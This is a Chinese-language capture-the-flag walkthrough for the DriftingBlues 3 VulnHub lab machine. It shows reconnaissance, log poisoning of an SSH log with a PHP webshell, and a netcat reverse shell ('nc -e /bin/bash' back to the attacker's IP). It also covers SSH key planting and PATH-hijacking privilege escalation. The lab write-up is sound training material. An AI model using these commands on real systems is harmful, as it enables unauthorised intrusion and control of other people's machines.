描述: __________
获取标志
难度:简单
1、下载靶场
靶机名称:driftingblues
下载地址:
DriftingBlues: 3 ~ VulnHub
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 driftingblues login 时表示安装成功)。
3、获取靶机的flag(两个flag)
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 |
2、driftingblues 和kali在同一网段 | 已知 driftingblues 所在的网段 —— driftingblues IP地址:192.168.108.164/24 |
信息收集
获取 driftingblues 的IP地址
命令:arp-scan -I eth0 -l
端口扫描
命令:nmap -sV -p- -O 192.168.108.166
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 |
服务 |
版本 |
22 |
ssh |
OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
80 |
http |
Apache httpd 2.4.38 ((Debian)) |
操作系统:OS details: Linux 4.15 - 5.6
查看80端口也没有什么发现,目录扫描获取到了一个 robots.txt 文件
dirb http://192.168.108.166
访问 http://192.168.108.166/eventadmins/ 之后又获得了提示信息:
有问题的ssh,用户名:john、buddyG,一个地址: /littlequeenofspades.html
进一步访问 http://192.168.108.166/littlequeenofspades.html 之后再源码里面发现了一个加密信息
解密之后获取到了一个新的地址:intruder?/adminsfixit.php
加密(base64):aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== |
一次解密:intruder? L2FkbWluc2ZpeGl0LnBocA== |
二次解密:intruder?/adminsfixit.php |
继续访问 http://192.168.108.166/adminsfixit.php 之后发现是一个 SSH 身份验证的日志文件
登录ssh,并在用户名处写马(一句话木马,使用GET方式传参):
ssh ''@192.168.108.166
验证:http://192.168.108.166/adminsfixit.php?x=ls
webshell
通过日志文件给kali反弹shell
nc -lvvp 9999
?x=nc -e /bin/bash 192.168.108.129 9999
访问:http://192.168.108.166/adminsfixit.php?x=nc%20-e%20/bin/bash%20192.168.108.129%209999
拿到shell之后使用python改善一下交互方式:
python -c 'import pty;pty.spawn("/bin/bash")'
查看普通用户的时候发现了一个用户名叫 robertj 的用户,再该用户的家目录下发现了 .ssh 文件夹,但是和上一个靶机不同的是这里并没有看到ssh的公私钥文件,不过该文件夹对于其他用户来讲居然是可以写入文件,所以这个靶机提权的方式就是考验ssh公私钥登录。
思路:生成一堆ssh的公私钥,将公钥写入靶机,使用私钥登录
前提:ssh配置文件/etc/ssh/sshd_config 中 PubkeyAuthentication选项参数值为 yes
查看了一下发现果然在靶机该参数是开启的,那就简单了,直接上公钥
直接在目标机生成一个公钥:
ssh-keygen -t rsa
将生成的私钥保存到:
/home/robertj/.ssh/id_rsa
密码设置空密码即可,并将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证
下载私钥文件到本机直接登录就行
python2 -m SimpleHTTPServer 9998
wget http://192.168.108.166:9998/'id_rsa '
mv 'id_rsa ' id_rsa
chmod 400 id_rsa
使用ssh登录:
ssh [email protected] -i id_rsa
在 robert 用户的家目录下获取到第一个flag(user.txt)
提权
查看是否存在和sudo提权suid提权
sudo -l
find / -perm -4000 2>/dev/null
在这里没有什么好的发现,查看版本也不能使用脏牛提权
上传一个pspy64s,看看有没有什么定时执行的任务
结果这个思路貌似也不太行
换个脚本:linpeas.sh(这个脚本是一个辅助提权脚本,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码)
发现了一个前面忽略的程序
查看发现是乱码
直接执行一下该程序试试
可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令
命令劫持提权:
原理:这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
使用:首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中(export PATH=/home/robertj:$PATH)
再次运行getinfo,提权成功
这里有个坑,不知道什么原因,虽然在靶机上的root家目录下找到了的第二个flag,但是打不开,需要下载下来才能打开
python2 -m SimpleHTTPServer 9999
wget http://192.168.108.166:9999/root.txt